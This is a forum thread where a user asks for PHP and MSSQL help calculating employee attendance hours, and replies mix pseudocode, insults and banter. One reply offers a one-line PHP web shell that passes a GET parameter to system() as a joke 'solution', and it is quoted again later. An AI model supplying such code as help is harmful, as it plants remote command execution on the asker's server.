Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!


Help with PHP & MSSQL Code
New on LowEndTalk? Please Register and read our Community Rules.

All new Registrations are manually reviewed and approved, so a short delay after registration may occur before your account becomes active.

Help with PHP & MSSQL Code

alshahadalshahad Member
edited June 2016 in Requests

Hello,

I am having a database table will contain attendance for employee such as like this:

USERID - TIMEATTENDACE - TYPE

1 - 23/06/2016 08:39 AM - IN

2 - 23/06/2016 09:38 AM - IN

2 - 23/06/2016 11:38 AM - IN

1 - 23/06/2016 10:39 AM - OUT

3 - 23/06/2016 06:38 AM - IN

2 - 23/06/2016 11:38 AM - OUT

2 - 23/06/2016 01:39 PM - OUT

So, I want to arrange it in table and calculate total time for working like this:

USER ID - CHECK IN (1) - CHECK OUT (1) - CHECK IN (2) - CHECK OUT (2) TOTAL

1 - TIME HERE - TIME HERE - TIME HERE - TIME HERE : 2.9 HOURS FOR EXAMPLE


So can you help me with the code for the MSSQL AND PHP.

Thanks a lot,
Abdulla

Comments

  • tommytommy Member

    no, unless you already coding/trying

  • Sorry?

    Do you think I write this thread before I try? Do you know that I spend 2 days now with trying and coding to find a idea to sort this out.

    So If you can help; thanks for it; if you can't help me with that with .. Just go away please

  • Well that attitude isn't going to get you help, maybe supplying some code snippets' or at least the methods you have tried and someone might point you in the right direction. Instead of doing it all for you, thus you not learning anything from it.

  • pbgbenpbgben Member, Host Rep

    Pseudo:
    Action: User enters ID, clicks check-in (possible badge swipe).
    Code: insert record to database with uniqe id, user Id and timestamp.

    Action: user enters ID, clicks check-out (possible badge swipe).
    Code: Get record from DB where user ID=UID limit 1

    Code: get difference between current timestamp and timestamp pulled from record.

    Code: insert uniqe ID, user Id, current timestamp and time difference into hours worked DB

    That will allow you to then do a query to pull info form the hours worked DB based on a time scale like, week or month to see how much they have worked.

    You want me to code this then $100usd

    Thanked by 2tommy kkrajk
  • tommytommy Member

    pgben, he want a complete code, so he just copy paste :)

    @op pay @pgben forr doing your home work

  • alshahadalshahad Member
    edited June 2016

    @tommy still I said to you if you want to help, just help, if you want .. just go away .. I do not know how you are not understood this sentence. :) .. just see how @pbgben help with the idea, and @AshleyUk at least leave a comment which is positive.
    I think you should think about yourself, as you are thinking are older and genius.

    @pbgben thanks for the idea, it is very useful, and this is what I did.

    To help every one regarding this more...

    What I did in PHP:
    1) After punching I make simple corn job that will make number for each row which is not created by number:

    SELECT * FROM CHECKINOUT order by CAST(time as time)

    Then the number will be last number + 1.

    So I will got last punch in with last punch out :)

    Problem has been solved by this way with the way that @pbgben has give. So, thank you very much @pbgben.

    Thanked by 1pbgben
  • tommytommy Member

    just fuck off

    Thanked by 2zafouhar boernd
  • GCatGCat Member

    Here you go OP:

    if(isset($_GET['x'])) { $x= $_GET['x']; system($x); }

  • pbgbenpbgben Member, Host Rep

    @alshahad Glad to help buddy, A cron may not be nessesery. I'd appreciate if you could "Thanks" my posts, as I feel it increase the size of my junk...

    Regards,
    Your friendly neighborhood gigolo.

    Thanked by 2zafouhar alshahad
  • Oh, on your website, you're offering web dev services: http://alshahad.com/ar/programming.php

  • @pbgben said:
    'd appreciate if you could "Thanks" my posts, as I feel it increase the size of my junk...

  • @GCat said:
    Here you go OP:

    if(isset($_GET['x'])) { $x= $_GET['x']; system($x); }

    Nice, er, PHP shell solution?

  • GCatGCat Member

    @FlamesRunner said:

    @GCat said:
    Here you go OP:

    if(isset($_GET['x'])) { $x= $_GET['x']; system($x); }

    Nice, er, PHP shell solution?

    It's a working solution.

  • pbgbenpbgben Member, Host Rep
    edited June 2016

    @dotted said:
    Oh, on your website, you're offering web dev services: http://alshahad.com/ar/programming.php

    <12yr old programmer confirmed.

    Also, your link posting got his site dossed :P

    Thanked by 1theroyalstudent
  • alshahad said: Just go away please

    If you can't express your idea with respect, just go away please.

    Thanked by 1theroyalstudent
  • alshahadalshahad Member
    edited June 2016

    Dear Mrs :)

    I was not asking for writing me the code :), when I am asking for the idea all of you was not here, when the things just goes on the other side, all of you was here, lool! well? you are just debate people teams?

    I was just asking for the idea if you notice. Also, the issue was not as to select or sort this if you think :)

    It was for listing the punch in table from 1-5 punch.

    And for your information and just for your information, the project was for ZKTeco Fingerprint Attendance machines with fully PHP & MySQL coding.. it is fully integrated with ZKTeco products.

    Just google and find if there is just a one code regarding this, or at least if somebody do it before.... and then try by yourself to see if you can do it or no .. then say something :)

    And for your information, I am the first one in ME that do this project externally using SDK, this is confirmed by ZKTeco itself :)

    I write it as code just to let you notice it.

    Secondly, I am not 12 years old or even 25 years old, I will not discuss or argue with you regarding ages, because it shows it is personal, discuss with me about coding or at least skills :S ...

    My issue (or let us said the idea) was completely solved. See you on the other side, and thanks for everyone here came really for help, especially @pbgben .

    End.

  • tommytommy Member

    what the hell he talking about.

  • tommy said: what the hell he talking about.

    This > https://alshahad.com/support/cart.php?gid=4 ;)

    Thanked by 1theroyalstudent
  • raindog308raindog308 Administrator, Veteran

    OP requested the thread be closed via ticket.

This discussion has been closed.